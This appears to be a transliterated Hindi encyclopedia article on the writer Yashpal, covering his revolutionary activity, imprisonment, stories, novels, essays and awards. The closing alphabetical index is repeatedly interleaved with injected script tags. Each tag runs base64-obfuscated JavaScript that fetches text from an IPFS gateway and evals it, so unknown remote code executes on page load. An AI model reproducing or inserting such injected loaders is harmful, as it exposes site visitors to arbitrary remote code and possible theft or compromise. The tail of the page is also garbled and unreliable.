यशपाल

	yashapal
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poora nam	yashapal
janm	3 disambar, 1903 ee.
janm bhoomi	firojapur chhavani, panjab, bharat
mrityu	26 disanbar, 1976 ee.
mrityu sthan	bharat
abhibhavak	hiralal, premadevi
karm bhoomi	bharat
karm-kshetr	upanyasakar, lekhak, nibandhakar
mukhy rachanaean	'vo duniya', 'divya', 'deshadrohi', 'phooloan ka kurta', 'pianjare ki u dan', 'jnanadan' adi.
vidyalay	gurukul kaang di, neshanal k aaulej, lahaur
puraskar-upadhi	'dev puraskar' (1955), 'soviyat laiand neharoo puraskar' (1970), 'mangala prasad paritoshik' (1971) tatha 'padm bhooshan'
inhean bhi dekhean	kavi soochi, sahityakar soochi

chitr:Disamb2.jpg yashapal

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- yashapal (bahuvikalpi)

yashapal (aangrezi: Yashpal, janm- 3 disambar, 1903 ee., firojapur chhavani; mrityu- 26 disanbar, 1976) hindi ke yashasvi kathakar aur nibandh lekhak haian. yashapal rajanitik tatha sahityik, donoan kshetroan mean krantikari haian. unake lie rajaniti tatha sahity donoan sadhan haian aur ek hi lakshy ki poorti mean sahayak haian.

jivan parichay

hindi ke yashasvi kathakar aur nibandhakar yashapal ka janm 3 disambar, 1903 ee. mean firojapur chhavani mean hua tha. inake poorvaj kaang da zile ke nivasi the aur inake pita 'hiralal' ko virasat ke roop mean do-char sau gaz tatha ek kachche makan ke atirikt aur kuchh nahian prapt hua tha. inaki maan premadevi ne unhean ary samaj ka tejasvi pracharak banane ki drishti se shiksharth 'gurukul kaang di' bhej diya. gurukul ke rashtriy vatavaran mean balak yashapal ke man mean videshi shasan ke prati virodh ki bhavana bhar gayi.

krantikari andolan

lahaur ke 'neshanal k aaulej' mean bharti ho jane par inaka parichay bhagatasianh aur sukhadev se ho gaya. ve bhi krantikari andolan ki or akrisht hue. sanh 1921 ee. ke bad to ye sashastr kranti ke andolan mean sakriy bhag lene lage. sanh 1929 ee. mean vaisaray ki ga di ke niche bam rakhane ke lie ghatanasthal par unako bhi jana p da, bad mean kuchh galatafahami ke karan ve apane dal ki hi goli ke shikar hote-hote bache.

jel yatra

chandrashekhar azad ke shahid ho jane par ve 'hindustani samajavadi prajatantr' ke kamandar niyukt hue. isi samay dilli aur lahaur mean dilli tatha lahaur shadyantr ke muqadamean chalate rahe. yashapal in muqadamoan ke pradhan abhiyuktoan mean the. par ye farar the aur pulis ke hath mean nahian a paye the. 1932 ee. mean pulis se muthabhe d ho jane par goliyoan ka bharapoor adan-pradan karane ke anantar, ye giraftar ho gaye. unhean chaudah varsh ki sakht saza huee. sanh 1938 ee. mean uttar pradesh mean jab kaangres mantrimandal bana to any rajanitik bandiyoan ke sath inako bhi mukt kar diya gaya.

jel mean likhi rachanaean

jel se mukt hone par inhoanne 'viplav' masik nikala, jo tho de hi dinoan mean kafi lokapriy ho gaya. 1941 ee. mean inake giraftar ho jane par 'viplav' band ho gaya, kintu apani vicharadhara ke prachar mean inhoanne viplav ka bharapoor prayog kiya. vibhinn ziloan mean unhean padhane-likhane ka jo avakash mila tha, usamean unhoanne desh-videsh ke bahut se lekhakoan ka manoyogapoorn adhyayan kiya. 'pianjare ki u dan' aur 'vo duniyaan' ki kahaniyaan pray: jel mean hi likhi gayi.

sahityik jivan

yashapal mean likhane ki pravritti vidyarthi kal se hi thi, par unake krantikari jivan ne unhean anubhav sambaddh kiya, anekanek sangharshoan se joojhane ka bal diya. rajanitik tatha sahityik, donoan kshetroan mean ve krantikari haian. unake lie rajaniti tatha sahity donoan sadhan haian aur ek hi lakshy ki poorti mean sahayak haian. sahity ke madhyam se unhoanne vaicharik kranti ki bhoomika taiyar karane ka prayas kiya hai. vicharoan se ve kafi door tak marksavadi haian, par kattarata se mukt hone ke karan isase unaki sahityikata ko pray: kshati nahian pahuanchi hai, usase ve labhanvit hi hue haian.

kahanikar

yashapal pahale-pahal kahanikar ke roop mean hindi jagath mean aye. ab tak unake lagabhag solah 'kahani sangrah' prakashit ho chuke haian. yashapal mukhyat: madhyamavargiy jivan ke kalakar haian aur is varg se sambaddh unaki kahaniyaan bahut hi marmik ban p dian haian. madhyavarg ki asangatiyoan, kamazoriyoan, virodhabhasoan, roodhiyoan adi par itana prabal kashaghat karane vala koee doosara kahanikar nahian hai. do virodhi paristhitiyoan ka vaishamy pradarshit kar vyangy ki sarjana unaki pramukh visheshata hai. yatharth jivan ki navin prasangodabhavana dvara ve apani kahaniyoan ko aur bhi prabhavashali bana dete haian.

madhyavarg apani hi roodhiyoan mean jak da hua kitana dayaniy ho jata hai, isaka achchha khasa udaharan 'char ane' hai. jhoothi aur kritrim pratishtha ke bojh ko dhote-dhote yah varg apane dainy aur vivashata mean ujagar ho utha hai. 'gavahi' aur 'soma ka sahas' mean samaj ke galiz, naqab aur kritrimata ki tasvirean khianchi gayian haian. is varg ke vaimanasy mean nimn varg ko rakhakar usake aanhakar aur amanaviy vyavahar ko bahut hi marmik dhang se abhivyakt karane mean yashapal khoob kushal haian. 'ek raz' mean malakin aur naukar ki manovrittiyoan ki vishamataoan ko is tarah se ubhara gaya hai ki pathak naukar ki sahanubhooti mean tilamila uthata hai. 'gudabaee dard dil' mean rikshevale ke prati ki gayi amanushikata pathakoan ke man mean gahari kachot paida karati hai. is prakar ki vishamata ko aankit karane ke lie yashapal ne pray: uchch madhyavargiy vyaktiyoan ko samane rakha hai, kyoanki samany madhyavargiy vyakti to apani ulajhanoan se hi khali nahian ho pata.

yashapal ke vyangy ka tikha roop '80/100', 'jnanadan' adi mean dekha ja sakata hai. samanyat: kaha jata hai ki unhoanne apani katha ke lie roti aur seks ki samasyaean chuni haian. yashapal ki kahaniyoan mean koee n koee jivant samasya hai, par ve poornat: kalatmak avaran mean vyakt huee haian. jahaan unaki samasya ko kalatmak achchhadan nahian mil saka, vahaan kahani ka kahanipan sandigdh ho gaya hai.

upanyasakar

mukhy lekh : upanyasakar

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upanyas mean yashapal ka drishtikon aur bhi adhik achchhi tarah ubhar saka hai. unaka pahala upanyas 'dada kamared' krantikari jivan ka chitran karate hue mazadooroan ke sanghathan ko rashtroddhar ka adhik sangat upay batalaya hai. 'desh drohi' kala ki drishti se 'dada kamared' se kee qadam age hai. is upanyas mean gaandhivad tatha kaangres ki tivr alochana karate hue lekhak ne samajavadi vyavastha ka agrah kiya hai. 'divya' yashapal ke shreshth upanyasoan mean ek se hai. is upanyas mean yug-yug ki us dalit-pi dit nari ki karun katha hai, jo anekanek sangharshoan se guzarati huee apana svasth marg pahachan leti hai. 'manushy ke roop' mean paristhitiyoan ke ghat-pratighat se manushy ke badalate hue roopoan ko prabhavashali dhang se chitrit kiya gaya hai. 'amita' upanyas 'divya' ki bhaanti aitihasik hai.

kuchh samay pahale hi yashapal ka atyant vishisht upanyas 'jhootha-sach' prakashit hua hai. vibhajan ke samay desh mean jo bhishan raktapat aur avyavastha utpann huee, usake vyapak phalak par jhooth-sach ka rangin chitr khiancha gaya hai. isake do bhag haian- vatan aur desh tatha desh ka bhavishy. pratham bhag mean vibhajan ke phalasvaroop logoan ke vatan chhootane aur dvitiy bhag mean bahut si samasyaoan ke samadhan ka chitran hua hai. desh ke samasamayik vatavaran ko yathasambhav aitihasik yatharth ke roop mean rakha gaya hai. vividh samasyaoan ke sath-sath is upanyas mean jin naye naitik moolyoan ki pratishtha ki gayi hai, ve roodhigrast vicharoan ko prabal jhataka dete haian.

nibandh, sansmaran aur rekhachitr

ek saphal kathakar hone ke sath-sath yashapal achchhe vyaktitv-vyanjak nibandhakar bhi haian. ve apane drishtikon ke adhar par s di-gali roodhiyoan, hrasonmukhi, pravrittiyoan par jamakar prahar karate haian. unhoanne saras tatha vyangy-vinod, garbh sansmaran aur rekhachitr bhi likhe haian. 'nyay ka sangharsh', 'dekha socha, samajha', 'sianhavalokan' (tin bhag) adi mean unake nibandh, sansmaran aur rekhachitr sangrahit haian.

kritiyaan

kahani sangrah
kahani	san
jnanadan	1944 ee.
abhishapt	1944 ee.
tark ka toofan	1943 ee.
bhasmavrit chinagari	1946 ee.
vo duniya	1941 ee.
phooloan ka kurta	1949 ee.
dharmayuddh	1950 ee.
uttaradhikari	1951 ee.
chitr ka shirshak	1952 ee.

upanyas sangrah
upanyas	san
dada kamared	1941 ee.
deshadrohi	1943 ee.
parti kamared	1947 ee.
divya	1945 ee.
manushy ke roop	1949 ee.
amita	1956 ee.
jhootha sach	1958-1959 ee.
apsara ka shap	2010 ee.

nibandh sangrah
nibandh	san
nyay ka sangharsh	1940 ee.
chakkar klab	1942 ee.
bat-bat mean bat	1950 ee.
dekha, socha, samajha	1951 ee.
sianhavalokan	-

sansmaran aur any

sansmaran ke tin bhag haian :

pahala bhag sanh 1951
doosara bhag sanh 1952
tisara bhag sanh 1955 ee.
'gaandhivad ki shav-pariksha' (1941 ee.)

puraskar

inaki sahity seva tatha pratibha se prabhavit hokar riva sarakar ne 'dev puraskar' (1955), soviyat laiand soochana vibhag ne 'soviyat laiand neharoo puraskar' (1970), hindi sahity sammelan prayag ne 'mangala prasad paritoshik' (1971) tatha bharat sarakar ne 'padm bhooshan' ki upadhi pradan kar inako sammanit kiya hai.

mrityu

yashapal hindi ke atishay shaktishali tatha pranavan sahityakar the. apane drishtikon ko vyakt karane ke lie unhoanne sahity ka madhyam apanaya tha. lekin unaka sahity-shilp itana zoradar hai ki vicharoan ki abhivyakti mean unaki sahatyikata kahian par bhi kshin nahian ho paee hai. yashapal ji ka sanh 26 disanbar, 1976 ee. mean nidhan ho gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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